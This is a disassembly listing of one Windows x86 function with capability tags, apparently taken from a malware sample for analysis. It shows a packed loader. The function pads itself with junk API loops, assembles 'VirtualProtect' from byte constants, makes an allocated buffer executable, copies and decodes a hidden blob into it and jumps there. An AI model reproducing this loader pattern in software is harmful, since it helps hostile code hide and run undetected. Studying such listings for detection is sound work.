Function at 0x4014b0
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e3f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x838
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x10], esi
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, 0xfa62c8f
jge 0x4014f6
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x401507
inc esi
cmp esi, 0x67d12
jl 0x4014e2
mov eax, dword [0x45ad2c]
cmp eax, 0x93
jne 0x4015d6
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor esi, esi
push esi
lea eax, [ebp - 0x840]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
xor ecx, ecx
lock bts dword [ecx], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push str.fefegidizisaf
mov dword [ebp - 0x28], 0xf
mov dword [ebp - 0x2c], esi
mov byte [ebp - 0x3c], 0
call fcn.004031e0
add esp, 4
push eax
push str.fefegidizisaf
lea ecx, [ebp - 0x3c]
call fcn.00402140
push esi
mov dword [ebp - 4], esi
call fcn.00402cd4
add esp, 4
push esi
call fcn.00403368
add esp, 4
push esi
push esi
call fcn.00403397
add esp, 8
push esi
call fcn.0040397b
mov ecx, dword [0x44eda4]
add eax, 0x1134b
push eax
push 0
mov dword [0x45bb68], ecx
mov dword [0x45ad2c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push str.kernel32.dll
mov dword [0x45a7b8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x451e48
mov dl, 0x72
push eax
mov dword [0x45a7bc], eax
mov word [0x451e51], 0x746f
mov byte [0x451e50], dl
mov dword [0x451e53], 0x746365
mov dword [0x451e48], 0x74726956
mov dword [0x451e4c], 0x506c6175
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x45a7b0], eax
mov dword [ebp - 0x14], 0x20
add dword [ebp - 0x14], 0x20
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x45ad2c]
lea edx, [ebp - 0x10]
push edx
mov edx, dword [0x45a7b8]
push eax
push ecx
push edx
call dword [0x45a7b0]
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x401676
cmp dword [0x45ad2c], esi
jbe 0x4016ed
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov eax, dword [0x45bb68]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x45a7b8]
mov byte [edx + esi], cl
cmp dword [0x45ad2c], 0x490
jne 0x4016e4
lea eax, [ebp - 0x20]
push eax
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [ebp - 0x18]
push ecx
push 0
lea edx, [ebp - 0x34]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x45ad2c]
jb 0x401693
mov esi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [ebp - 0x10], eax
mov ecx, dword [0x45ad2c]
add ecx, eax
cmp ecx, 0x8d
jne 0x40174a
push 0
lea edx, [ebp - 0x840]
push edx
push 0
push 0
push 0
push 0
call esi
push str.hocoga
push str.fawozoz
call edi
push 0
lea eax, [ebp - 0x18]
push eax
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, 0x38681
jl 0x401704
call fcn.00401370
xor edi, edi
xor esi, esi
mov edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x40177e
mov dword [ebp - 0x14], edi
add dword [ebp - 0x14], 0xec2
mov ecx, dword [ebp - 0x14]
add dword [0x45a7b8], ecx
inc esi
cmp esi, 0x674bd
jl 0x401760
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x45ad2c], 0x86
jne 0x4017e0
push 0
call esi
push 0
lea edx, [ebp - 0x840]
push edx
push str.tusadakumojenimibew_meyevososokecaxatapizeguh_xigelufarelidilenitimewavin_haraxeyuxedawatawucosululuwavo_zowacogofozuzexibi
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x45ad2c], 0xf
jne 0x4017f3
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
dec dword [ebp - 0x10]
jne 0x4017a0
mov ecx, 0x6c
mov word [0x45ad42], cx
mov ecx, 0x64
mov eax, 0x6d
mov edx, 0x33
push 0x45ad30
mov dword [0x45ad36], 0x67006d
mov word [0x45ad40], cx
mov dword [0x45ad44], 0x6c
mov dword [0x45ad3c], 0x2e0032
mov word [0x45ad30], ax
mov word [0x45ad3a], dx
mov dword [0x45ad32], 0x690073
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x45a7b8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret